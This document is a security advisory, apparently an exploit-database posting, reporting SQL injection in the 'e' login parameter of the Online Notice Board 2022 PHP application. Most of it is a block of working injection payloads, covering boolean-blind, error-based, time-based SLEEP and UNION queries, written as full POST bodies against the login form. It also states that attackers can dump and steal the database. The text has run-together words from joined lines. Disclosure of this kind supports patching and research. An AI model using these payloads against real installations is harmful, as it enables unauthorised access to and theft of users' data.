Online Notice Board 2022 SQL Injection

## Title: ONLINE-NOTICE-BOARD-2022 SQLi## Author: nu11secur1ty## Date: 09.09.2022## Vendor: https://www.sourcecodester.com/users/razormist## Software: https://www.sourcecodester.com/php/14317/online-notice-board-system.html## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022## Description:The `e` parameter from the ONLINE-NOTICE-BOARD-2022 system appears tobe vulnerable to SQL injection attacks.The malicious user can dump-steal the database, from this system andhe can use it for very malicious purposes.NOTE: The users of this system are NOT protected, this SQLvulnerability is CRITICAL!STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: e (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: [email protected]' OR NOT 5051=5051#Wypj&p=h8F!c4q!L9&save=Login    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: [email protected]' OR (SELECT 8344FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT(ELT(8344=8344,1))),0x7170767171,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# ZBOm&p=h8F!c4q!L9&save=Login    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: [email protected]' AND (SELECT 8661 FROM(SELECT(SLEEP(5)))LTGu)# mWpk&p=h8F!c4q!L9&save=Login    Type: UNION query    Title: MySQL UNION query (NULL) - 10 columns    Payload: [email protected]' UNION ALL SELECTNULL,CONCAT(0x716b626b71,0x4949414c667070706f614c784d7468616265424b595148715870516c437744516473687567795478,0x7170767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p=h8F!c4q!L9&save=Login---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022)## Proof and Exploit:[href](https://streamable.com/4u9diy)